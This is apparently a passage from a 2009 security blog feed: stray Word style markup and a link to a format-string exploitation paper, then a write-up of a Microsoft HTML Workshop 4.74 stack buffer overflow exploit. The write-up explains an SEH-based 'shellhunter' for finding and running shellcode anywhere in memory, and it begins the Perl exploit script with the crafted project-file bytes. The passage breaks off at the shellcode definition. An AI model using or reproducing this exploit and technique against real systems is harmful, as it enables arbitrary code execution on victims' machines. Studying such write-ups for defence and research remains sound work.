SemiHidden="false"    UnhideWhenUsed="false" QFormat="true" Name="Quote" /> <w :LsdException Locked="false" Priority="30" SemiHidden="false"    UnhideWhenUsed="false" QFormat="true" Name="Intense Quote" /> <w :LsdException Locked="false" Priority="66" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium List 2 Accent 1" /> <w :LsdException Locked="false" Priority="67" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 1 Accent 1" /> <w :LsdException Locked="false" Priority="68" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 2 Accent 1" /> <w :LsdException Locked="false" Priority="69" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 3 Accent 1" /> <w :LsdException Locked="false" Priority="70" SemiHidden="false"    UnhideWhenUsed="false" Name="Dark List Accent 1" /> <w :LsdException Locked="false" Priority="71" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful Shading Accent 1" /> <w :LsdException Locked="false" Priority="72" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful List Accent 1" /> <w :LsdException Locked="false" Priority="73" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful Grid Accent 1" /> <w :LsdException Locked="false" Priority="60" SemiHidden="false"    UnhideWhenUsed="false" Name="Light Shading Accent 2" /> <w :LsdException Locked="false" Priority="61" SemiHidden="false"    UnhideWhenUsed="false" Name="Light List Accent 2" /> <w :LsdException Locked="false" Priority="62" SemiHidden="false"    UnhideWhenUsed="false" Name="Light Grid Accent 2" /> <w :LsdException Locked="false" Priority="63" SemiHidden="false"    UnhideWhenUsed="false"<br />
Name="Medium Shading 1 Accent 2" /> <w :LsdException Locked="false" Priority="64" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Shading 2 Accent 2" /> <w :LsdException Locked="false" Priority="65" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium List 1 Accent 2" /> <w :LsdException Locked="false" Priority="66" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium List 2 Accent 2" /> <w :LsdException Locked="false" Priority="67" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 1 Accent 2" /> <w :LsdException Locked="false" Priority="68" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 2 Accent 2" /> <w :LsdException Locked="false" Priority="69" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 3 Accent 2" /> <w :LsdException Locked="false" Priority="70" SemiHidden="false"    UnhideWhenUsed="false" Name="Dark List Accent 2" /> <w :LsdException Locked="false" Priority="71" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful Shading Accent 2" /> <w :LsdException Locked="false" Priority="72" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful List Accent 2" /> <w :LsdException Locked="false" Priority="73" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful Grid Accent 2" /> <w :LsdException Locked="false" Priority="60" SemiHidden="false"    UnhideWhenUsed="false" Name="Light Shading Accent 3" /> <w :LsdException Locked="false" Priority="61" SemiHidden="false"    UnhideWhenUsed="false" Name="Light List Accent 3" /> <w :LsdException Locked="false" Priority="62" SemiHidden="false"    UnhideWhenUsed="false" Name="Light Grid Accent 3" /> <w :LsdException Locked="false" Priority="63" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Shading 1 Accent 3" /> <w :LsdException Locked="false" Priority="64" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Shading 2 Accent 3" /> <w :LsdException Locked="false" Priority="65" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium List 1 Accent 3" /> <w :LsdException Locked="false" Priority="66" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium List 2 Accent 3" /> <w :LsdException Locked="false" Priority="67" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 1 Accent 3" /> <w :LsdException Locked="false" Priority="68" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 2 Accent 3" /> <w :LsdException Locked="false" Priority="69" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 3 Accent 3" /> <w :LsdException Locked="false" Priority="70" SemiHidden="false"    UnhideWhenUsed="false" Name="Dark List Accent 3" /> <w :LsdException Locked="false" Priority="71" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful Shading Accent 3" /> <w :LsdException Locked="false" Priority="72" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful List Accent 3" /> <w :LsdException Locked="false" Priority="73" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful Grid Accent 3" /> <w :LsdException Locked="false" Priority="60" SemiHidden="false"    UnhideWhenUsed="false" Name="Light Shading Accent 4" /> <w :LsdException Locked="false" Priority="61" SemiHidden="false"    UnhideWhenUsed="false" Name="Light List Accent 4" /> <w :LsdException Locked="false" Priority="62" SemiHidden="false"    UnhideWhenUsed="false" Name="Light Grid Accent 4" /> <w :LsdException Locked="false" Priority="63" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Shading 1 Accent 4" /> <w :LsdException Locked="false" Priority="64" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Shading 2 Accent 4" /> <w :LsdException Locked="false" Priority="65" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium List 1 Accent 4" /> <w :LsdException Locked="false" Priority="66" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium List 2 Accent 4" /> <w :LsdException Locked="false" Priority="67" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 1 Accent 4" /> <w :LsdException Locked="false" Priority="68" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 2 Accent 4" /> <w :LsdException Locked="false" Priority="69" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 3 Accent 4" /> <w :LsdException Locked="false" Priority="70" SemiHidden="false"    UnhideWhenUsed="false" Name="Dark List Accent 4" /> <w :LsdException Locked="false" Priority="71" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful Shading Accent 4" /> <w :LsdException Locked="false" Priority="72" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful List Accent 4" /> <w :LsdException Locked="false" Priority="73" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful Grid Accent 4" /> <w :LsdException Locked="false" Priority="60" SemiHidden="false"    UnhideWhenUsed="false" Name="Light Shading Accent 5" /> <w :LsdException Locked="false" Priority="61" SemiHidden="false"    UnhideWhenUsed="false" Name="Light List Accent 5" /> <w :LsdException Locked="false" Priority="62" SemiHidden="false"    UnhideWhenUsed="false" Name="Light Grid Accent 5" /> <w :LsdException Locked="false" Priority="63" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Shading 1 Accent 5" /> <w :LsdException Locked="false" Priority="64" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Shading 2 Accent 5" /> <w :LsdException Locked="false" Priority="65" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium List 1 Accent 5" /> <w :LsdException Locked="false" Priority="66" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium List 2 Accent 5" /> <w :LsdException Locked="false" Priority="67" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 1 Accent 5" /> <w :LsdException Locked="false" Priority="68" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 2 Accent 5" /> <w :LsdException Locked="false" Priority="69" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 3 Accent 5" /> <w :LsdException Locked="false" Priority="70" SemiHidden="false"    UnhideWhenUsed="false" Name="Dark List Accent 5" /> <w :LsdException Locked="false" Priority="71" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful Shading Accent 5" /> <w :LsdException Locked="false" Priority="72" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful List Accent 5" /> <w :LsdException Locked="false" Priority="73" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful Grid Accent 5" /> <w :LsdException Locked="false" Priority="60" SemiHidden="false"    UnhideWhenUsed="false" Name="Light Shading Accent 6" /> <w :LsdException Locked="false" Priority="61" SemiHidden="false"    UnhideWhenUsed="false" Name="Light List Accent 6" /> <w :LsdException Locked="false" Priority="62" SemiHidden="false"    UnhideWhenUsed="false" Name="Light Grid Accent 6" /> <w :LsdException Locked="false" Priority="63" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Shading 1 Accent 6" /> <w :LsdException Locked="false" Priority="64" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Shading 2 Accent 6" /> <w :LsdException Locked="false" Priority="65" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium List 1 Accent 6" /> <w :LsdException Locked="false" Priority="66" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium List 2 Accent 6" /> <w :LsdException Locked="false" Priority="67" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 1 Accent 6" /> <w :LsdException Locked="false" Priority="68" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 2 Accent 6" /> <w :LsdException Locked="false" Priority="69" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 3 Accent 6" /> <w :LsdException Locked="false" Priority="70" SemiHidden="false"    UnhideWhenUsed="false" Name="Dark List Accent 6" /> <w :LsdException Locked="false" Priority="71" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful Shading Accent 6" /> <w :LsdException Locked="false" Priority="72" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful List Accent 6" /> <w :LsdException Locked="false" Priority="73" SemiHidden="false"    UnhideWhenUsed="false" Name=<br />
"Colorful Grid Accent 6" /> <w :LsdException Locked="false" Priority="19" SemiHidden="false"    UnhideWhenUsed="false" QFormat="true" Name="Subtle Emphasis" /> <w :LsdException Locked="false" Priority="21" SemiHidden="false"    UnhideWhenUsed="false" QFormat="true" Name="Intense Emphasis" /> <w :LsdException Locked="false" Priority="31" SemiHidden="false"    UnhideWhenUsed="false" QFormat="true" Name="Subtle Reference" /> <w :LsdException Locked="false" Priority="32" SemiHidden="false"    UnhideWhenUsed="false" QFormat="true" Name="Intense Reference" /> <w :LsdException Locked="false" Priority="33" SemiHidden="false"    UnhideWhenUsed="false" QFormat="true" Name="Book Title" /> <w :LsdException Locked="false" Priority="37" Name="Bibliography" /> <w :LsdException Locked="false" Priority="39" QFormat="true" Name="TOC Heading" /> </w> </xml>< ![endif]--><!--  /* Font Definitions */  @font-face 	{font-family:"Cambria Math"; 	panose-1:2 4 5 3 5 4 6 3 2 4; 	mso-font-charset:0; 	mso-generic-font-family:roman; 	mso-font-pitch:variable; 	mso-font-signature:-1610611985 1107304683 0 0 159 0;} @font-face 	{font-family:Calibri; 	panose-1:2 15 5 2 2 2 4 3 2 4; 	mso-font-charset:0; 	mso-generic-font-family:swiss; 	mso-font-pitch:variable; 	mso-font-signature:-1610611985 1073750139 0 0 159 0;} @font-face 	{font-family:Tahoma; 	panose-1:2 11 6 4 3 5 4 4 2 4; 	mso-font-charset:0; 	mso-generic-font-family:swiss; 	mso-font-pitch:variable; 	mso-font-signature:-520082689 -1073717157 41 0 66047 0;}  /* Style Definitions */  p.MsoNormal, li.MsoNormal, div.MsoNormal 	{mso-style-unhide:no; 	mso-style-qformat:yes; 	mso-style-parent:""; 	margin-top:0in; 	margin-right:0in; 	margin-bottom:10.0pt; 	margin-left:0in; 	line-height:115%; 	mso-pagination:widow-orphan; 	font-size:11.0pt; 	font-family:"Calibri","sans-serif"; 	mso-fareast-font-family:Calibri; 	mso-bidi-font-family:Arial;} .MsoChpDefault 	{mso-style-type:export-only; 	mso-default-props:yes; 	font-size:10.0pt; 	mso-ansi-font-size:10.0pt; 	mso-bidi-font-size:10.0pt; 	mso-ascii-font-family:Calibri; 	mso-fareast-font-family:Calibri; 	mso-hansi-font-family:Calibri; 	mso-bidi-font-family:Arial;} @page Section1 	{size:8.5in 11.0in; 	margin:1.0in 1.0in 1.0in 1.0in; 	mso-header-margin:.5in; 	mso-footer-margin:.5in; 	mso-paper-source:0;} div.Section1 	{page:Section1;} --><!--[if gte mso 10]> </mce><mce :style>< !   /* Style Definitions */  table.MsoNormalTable 	{mso-style-name:"Table Normal"; 	mso-tstyle-rowband-size:0; 	mso-tstyle-colband-size:0; 	mso-style-noshow:yes; 	mso-style-priority:99; 	mso-style-qformat:yes; 	mso-style-parent:""; 	mso-padding-alt:0in 5.4pt 0in 5.4pt; 	mso-para-margin:0in; 	mso-para-margin-bottom:.0001pt; 	mso-pagination:widow-orphan; 	font-size:11.0pt; 	font-family:"Calibri","sans-serif"; 	mso-ascii-font-family:Calibri; 	mso-ascii-theme-font:minor-latin; 	mso-fareast-font-family:"Times New Roman"; 	mso-fareast-theme-font:minor-fareast; 	mso-hansi-font-family:Calibri; 	mso-hansi-theme-font:minor-latin; 	mso-bidi-font-family:Arial; 	mso-bidi-theme-font:minor-bidi;} --> <!--[endif]--><span style="font-size: 14pt; line-height: 115%; font-family: &amp;quot;Tahoma&amp;quot;,&amp;quot;sans-serif&amp;quot;;"><!--[if gte vml 1]><v :shapetype  id="_x0000_t75" coordsize="21600,21600" o:spt="75" o:preferrelative="t"  path="m@4@5l@4@11@9@11@9@5xe" filled="f" stroked="f"> <v :stroke joinstyle="miter" /> </v><v :formulas> <v :f eqn="if lineDrawn pixelLineWidth 0" /> <v :f eqn="sum @0 1 0" /> <v :f eqn="sum 0 0 @1" /> <v :f eqn="prod @2 1 2" /> <v :f eqn="prod @3 21600 pixelWidth" /> <v :f eqn="prod @3 21600 pixelHeight" /> <v :f eqn="sum @0 0 1" /> <v :f eqn="prod @6 1 2" /> <v :f eqn="prod @7 21600 pixelWidth" /> <v :f eqn="sum @8 21600 0" /> <v :f eqn="prod @7 21600 pixelHeight" /> <v :f eqn="sum @10 21600 0" /> </v> <v :path o:extrusionok="f" gradientshapeok="t" o:connecttype="rect" /> <o :lock v:ext="edit" aspectratio="t" /> <v :shape id="_x0000_i1025" type="#_x0000_t75" style='width:6in;  height:298.5pt'> <v :imagedata src="file:///C:\Users\ADMINI~1\AppData\Local\Temp\msohtmlclip1\01\clip_image001.png" mce_src="file:///C:\Users\ADMINI~1\AppData\Local\Temp\msohtmlclip1\01\clip_image001.png"   o:title="" /> </v>< ![endif]--><!--[if !vml]--></span></p>
<p style="text-align: left;">here is download link for this article :</p>
<p style="text-align: left;"><a title="Download Here" href="http://abysssec.com/blog/wp-content/uploads/2009/02/fstring-exploit.pdf" target="_blank">http://abysssec.com/blog/wp-content/uploads/2009/02/fstring-exploit.pdf</a></p>
<p style="text-align: left;">feel free to send your questions to admin@abysssec.com|NoSpam</p>
<p style="text-align: left;">Good Luck and Have Fun !</p>
<p style="text-align: left;">
<p style="text-align: left;">
<p style="text-align: center;"><span style="font-size: 14pt; line-height: 115%; font-family: &amp;quot;Tahoma&amp;quot;,&amp;quot;sans-serif&amp;quot;;"><br />
</span></p>
]]></content:encoded>
			<wfw:commentRss>http://www.abysssec.com/blog/2009/02/format-string-exploitation-on-windows/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Microsoft HTML Workshop</title>
		<link>http://www.abysssec.com/blog/2009/01/microsoft-html-workshop/</link>
		<comments>http://www.abysssec.com/blog/2009/01/microsoft-html-workshop/#comments</comments>
		<pubDate>Sat, 10 Jan 2009 09:25:51 +0000</pubDate>
		<dc:creator>shahin</dc:creator>
				<category><![CDATA[Exploits / BUG Decryption]]></category>
		<category><![CDATA[advisory]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[egg hunter]]></category>
		<category><![CDATA[exploit]]></category>
		<category><![CDATA[seh]]></category>
		<category><![CDATA[shellcode]]></category>
		<category><![CDATA[stack]]></category>

		<guid isPermaLink="false">http://abysssec.com/blog/?p=256</guid>
		<description><![CDATA[Microsoft HTML Workshop &#60;= 4.74 Universal Buffer Overflow Exploit - Another step towards perfect exploitation This is my next article explaining my second public exploit implementing my recent Shellhunting technique. Why use the technique? Well, believe me I could have made the exploit work on only one Windows version, be it XP or Vista, but [...]]]></description>
			<content:encoded><![CDATA[<blockquote>
<h2><em><span style="color: #808080;"><strong>Microsoft HTML Workshop &lt;= 4.74 Universal Buffer Overflow Exploit -</strong></span></em></h2>
<h3><em><span style="text-decoration: underline;"><span style="color: #808080;"><strong>Another step towards perfect exploitation</strong></span></span></em></h3>
</blockquote>
<p>This is my next article explaining my second <em>public</em> exploit implementing my recent <span style="color: #800000;"><em>Shellhunting</em></span> <span style="color: #000000;">technique. </span></p>
<p><span style="color: #000000;">Why use the technique? Well, believe me I could have made the exploit work on only one Windows version, be it XP or Vista, but to make it universal and work on every Windows NT system, you need to make it advanced.</span></p>
<p><span style="color: #000000;">The vulnerability itself is a normal stack overflow, overflowing all the variables on the stack including, the holy grail, the return address. There is also no character transformation, so why use a shellhunter for the exploit? </span></p>
<p><span style="color: #000000;">Here is why:-</span></p>
<ol>
<li><span style="color: #808080;"><em>To overflow the buffer, 280 bytes and above are needed, this isn&#8217;t enough space for a shellcode such as, reverse/bind shell or dl/exec scode, maybe only executing calculator will work.</em></span></li>
<li><span style="color: #808080;"><em>To make it universal there was only one module that had the address, that module is the main applications executable: hhw.exe.<br />
</em></span></li>
<li><span style="color: #808080;"><em>This address includes a &#8220;\x00&#8243; byte (00h), this NULL byte will terminate any more overflow of the buffer so you cannot just simply jump/call the ESP register and execute shellcode after the controllable return address.</em></span></li>
</ol>
<p>Those are the main reasons that need to be worried about. A professional exploit needs to be able to run any shellcode of any capability and size.<span style="color: #000000;">With the Shellhunter the shellcode may even include NULL bytes! </span></p>
<p>Lets recap what a shellhunter does:-</p>
<ol>
<li><span style="color: #808080;"><em>Searches through memory for a certain &#8220;lookout&#8221; value that when located will revert program execution flow to the address at the &#8220;lookout&#8221;. Also the &#8220;lookout&#8221; values must be a set of friendly instructions that will not cause an unneeded &#8220;Access Violation&#8221;.</em></span></li>
<li><span style="color: #808080;"><em>In this case there is no need for it to be alphanumerical, also size does not matter.</em></span></li>
</ol>
<p><span style="color: #808080;"><span style="color: #000000;">The new shellhunter in this exploit will be very different from the previous one. It will search through the whole memory of the application looking for the shellcode, it will not be using any register as a base to search from. The technique will also be reminiscent of skape&#8217;s egghunter technique (I actually have never read his article, but it is pretty cool that there will be a new/fresh look at this type of exploitation with my method ;) ).</span></span></p>
<p><span style="color: #808080;"><span style="color: #000000;">Okay, so what are the new features I am talking about? The shellhunter has indeed increased drastically in size (111 bytes) and the freedom that there are no character restrictions makes it even easier. With that privilege I thought of searching the <em>whole </em>memory with the shellhunter. </span></span></p>
<p><span style="color: #808080;"><span style="color: #000000;">Of course there are a few problems that come to mind with that:</span></span></p>
<ul>
<li>Access Violations will occur when retrieving data from an invalid address.</li>
<li>We need to store the variable which is address currently searched.</li>
<li>The applications memory is a huge range from 0&#215;00000000 to just below kernel base which is, 0x7fffffff. The shellhunter must search through the memory in speed, so that the shellcode will be executed fast.</li>
<li>Also, but I&#8217;ll discuss about this later, the stack layout has to be repaired by the shellhunter..</li>
</ul>
<p>Wow, a <span style="text-decoration: underline;">load</span> of problems.</p>
<p>Now I will write up how I solved them.</p>
<p><span style="text-decoration: underline;">Access Violation problem when reading invalid memory</span></p>
<p>The first method that came to mind was to use the Structured Exception Handling, and that is the method I am using.</p>
<p>Basically the SEH, will handle exceptions when an exception is thrown out it will change the program flow to the address that is in SEH structure. It is in the basic form a linked list type, this is its layout on the stack:</p>
<p><span style="color: #99cc00;"><strong>[ Pointer to the next SEH record]</strong></span></p>
<p><span style="color: #99cc00;"><strong>[Pointer to exception handler code] </strong></span></p>
<p>Altogether it will occupy 8 bytes on the stack. Using it to our advantage we will need to make the &#8220;Pointer to exception handler code&#8221; point to our injected code from the overflowed buffer. And in our case, the Pointer to the next SEH record will be set to -1, which in hex form is 0xffffffff.</p>
<p>If you read the shellhunter code correctly you will say its sort of a loop. And you are right. It is a loop that it searches for the &#8220;lookout&#8221; value, if invalid, exception occurs and then again all over we set up SEH and check for &#8220;lookout&#8221;.</p>
<p><span style="text-decoration: underline;">Save the current address variable somewhere in the heap</span></p>
<p>In this problem I used the address <span style="color: #99cc00;">0x7ffdfad0</span>. Before setting up SEH, it will retrieve the variable at the address and before checking the value with a CMP, so not to lose the address, it will store it at that address.</p>
<p><span style="text-decoration: underline;">Speedy search through memory</span></p>
<p>At the beginning when the shellhunter was in a premature phase, it searched through 4 bytes at a time. Trust me, It took a lot of time. To solve the problem, I used <span style="color: #99cc00;">32</span> bytes. But this also needed to increase the amount of &#8220;lookout&#8221; values that needed to be in the memory so the shellhunter would find it guaranteed (you can see that there are over <span style="color: #99cc00;">64*4</span> bytes of &#8220;lookout&#8221; value in the exploit!).</p>
<p><span style="text-decoration: underline;">Repairing the Stack layout</span></p>
<p>This was one of the last problems I encountered when writing the shellhunter. I noticed that when SEH was called and the appropriate modules made their calls and other calculations, the stack would change. It would approximately decrease the ESP register by a couple hundred bytes. We cannot afford to have that because when the ESP register becomes a very low value, a stack overflow exception occurs, and when that is handled there is no space for any SEH to be set up! So to repair the stack I added bytes to the stack at every loop of the shellhunter also using a few pops/pushs instructions to increase the certain measure.</p>
<p>That&#8217;s all that you need to know that was added! Certainly, a shellhunter is a must-use in some cases for exploitation and I hope that you can implement the method for your exploits (do remember to credit me ;) )! If you got any problems with writing your certain exploit, and need a shellhunter, don&#8217;t hesitate to contact me at skdrat&lt;at&gt;hotmail&lt;.&gt;com (MSN Messenger).</p>
<p>Read the exploit below, and enjoy it!</p>
<p>Milw0rm exploit URL: <strong><span style="color: #99cc00;">http://milw0rm.com/exploits/7727</span></strong></p>
<p>Exploit:</p>
<pre><span style="color: #808080;">
</span></pre>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
</pre></td><td class="code"><pre class="perl" style="font-family:monospace;">&nbsp;
    <span style="color: #666666; font-style: italic;">#!/usr/bin/perl</span>
    <span style="color: #666666; font-style: italic;"># Microsoft HTML Workshop &lt;= 4.74 Universal Buffer Overflow Exploit</span>
    <span style="color: #666666; font-style: italic;"># -----------------------------------------------------------------</span>
    <span style="color: #666666; font-style: italic;"># Discovered/Exploit by SkD                    (skdrat@hotmail.com)</span>
    <span style="color: #666666; font-style: italic;"># -----------------------------------------------------------------</span>
    <span style="color: #666666; font-style: italic;">#</span>
    <span style="color: #666666; font-style: italic;"># This is a continuation of my new method, shellhunting.</span>
    <span style="color: #666666; font-style: italic;"># The exploit is far more advanced than the Amaya's as it runs on</span>
    <span style="color: #666666; font-style: italic;"># every system, partly because the shellhunter itself is very much</span>
    <span style="color: #666666; font-style: italic;"># reliable and universal.</span>
    <span style="color: #666666; font-style: italic;"># The shellhunter does the following tasks to find and exec.</span>
    <span style="color: #666666; font-style: italic;"># shellcode:-</span>
    <span style="color: #666666; font-style: italic;">#</span>
    <span style="color: #666666; font-style: italic;"># 1- Searches through the whole memory of the application.</span>
    <span style="color: #666666; font-style: italic;"># 2- Installs a SEH handler so on access violations it won't</span>
    <span style="color: #666666; font-style: italic;">#    stop hunting for the shellcode.</span>
    <span style="color: #666666; font-style: italic;"># 3- Repairs stack so a stack overflow won't occur (that is what</span>
    <span style="color: #666666; font-style: italic;">#    happens when the SEH is called up, many PUSH instructions</span>
    <span style="color: #666666; font-style: italic;">#    are called from the relevant modules (ntdll, etc).</span>
    <span style="color: #666666; font-style: italic;"># 4- Improved speed by searching through 32 bytes at a time.</span>
    <span style="color: #666666; font-style: italic;"># 5- Uses a certain address in memory to store a variable for the</span>
    <span style="color: #666666; font-style: italic;">#    search.</span>
    <span style="color: #666666; font-style: italic;">#</span>
    <span style="color: #666666; font-style: italic;"># It is very stable and will allow any shellcode (bind/reverse shell,</span>
    <span style="color: #666666; font-style: italic;"># dl/exec). It will work on ALL Windows NT versions (2k, XP, Vista).</span>
    <span style="color: #666666; font-style: italic;">#</span>
    <span style="color: #666666; font-style: italic;"># Yeah, I guess that's about it. Took me a few hours to figure out the</span>
    <span style="color: #666666; font-style: italic;"># whole thing but nothing is impossible ;).</span>
    <span style="color: #666666; font-style: italic;">#</span>
    <span style="color: #666666; font-style: italic;"># Oh, I think some schools use this software :) (it's Microsoft's, right?).</span>
    <span style="color: #666666; font-style: italic;">#</span>
    <span style="color: #666666; font-style: italic;"># You can download the app. from Microsoft's official page:</span>
    <span style="color: #666666; font-style: italic;"># -&gt;  http://msdn.microsoft.com/en-us/library/ms669985.aspx</span>
    <span style="color: #666666; font-style: italic;">#</span>
    <span style="color: #666666; font-style: italic;"># If you are interested in my method and want to learn something new or</span>
    <span style="color: #666666; font-style: italic;"># improve your exploitation skills then visit my team's blog at:</span>
    <span style="color: #666666; font-style: italic;"># -&gt;  http://abysssec.com</span>
    <span style="color: #666666; font-style: italic;">#</span>
    <span style="color: #666666; font-style: italic;"># Peace out,</span>
    <span style="color: #666666; font-style: italic;"># SkD.</span>
&nbsp;
    <span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$hhp_data1</span> <span style="color: #339933;">=</span> <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>5B<span style="color: #000099; font-weight: bold;">\x</span>4F<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>54<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>4F<span style="color: #000099; font-weight: bold;">\x</span>4E<span style="color: #000099; font-weight: bold;">\x</span>53&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>5D<span style="color: #000099; font-weight: bold;">\x</span>0D<span style="color: #000099; font-weight: bold;">\x</span>0A<span style="color: #000099; font-weight: bold;">\x</span>43<span style="color: #000099; font-weight: bold;">\x</span>6F<span style="color: #000099; font-weight: bold;">\x</span>6E<span style="color: #000099; font-weight: bold;">\x</span>74<span style="color: #000099; font-weight: bold;">\x</span>65&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>6E<span style="color: #000099; font-weight: bold;">\x</span>74<span style="color: #000099; font-weight: bold;">\x</span>73<span style="color: #000099; font-weight: bold;">\x</span>20<span style="color: #000099; font-weight: bold;">\x</span>66<span style="color: #000099; font-weight: bold;">\x</span>69<span style="color: #000099; font-weight: bold;">\x</span>6C<span style="color: #000099; font-weight: bold;">\x</span>65&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>3D<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>0D<span style="color: #000099; font-weight: bold;">\x</span>0A<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>6E<span style="color: #000099; font-weight: bold;">\x</span>64<span style="color: #000099; font-weight: bold;">\x</span>65&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>78<span style="color: #000099; font-weight: bold;">\x</span>20<span style="color: #000099; font-weight: bold;">\x</span>66<span style="color: #000099; font-weight: bold;">\x</span>69<span style="color: #000099; font-weight: bold;">\x</span>6C<span style="color: #000099; font-weight: bold;">\x</span>65<span style="color: #000099; font-weight: bold;">\x</span>3D&quot;</span><span style="color: #339933;">;</span>
    <span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$hhp_data2</span> <span style="color: #339933;">=</span> <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>5B<span style="color: #000099; font-weight: bold;">\x</span>46<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>4C<span style="color: #000099; font-weight: bold;">\x</span>45<span style="color: #000099; font-weight: bold;">\x</span>53<span style="color: #000099; font-weight: bold;">\x</span>5D<span style="color: #000099; font-weight: bold;">\x</span>0D&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>0A<span style="color: #000099; font-weight: bold;">\x</span>61<span style="color: #000099; font-weight: bold;">\x</span>2E<span style="color: #000099; font-weight: bold;">\x</span>68<span style="color: #000099; font-weight: bold;">\x</span>74<span style="color: #000099; font-weight: bold;">\x</span>6D&quot;</span><span style="color: #339933;">;</span>
    <span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$crlf</span>      <span style="color: #339933;">=</span> <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>0d<span style="color: #000099; font-weight: bold;">\x</span>0a&quot;</span><span style="color: #339933;">;</span>
&nbsp;
    <span style="color: #666666; font-style: italic;"># win32_exec -  EXITFUNC=seh CMD=calc Size=330 Encoder=Alpha2 http://metasploit.com</span>
    <span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$shellcode</span> <span style="color: #339933;">=</span>
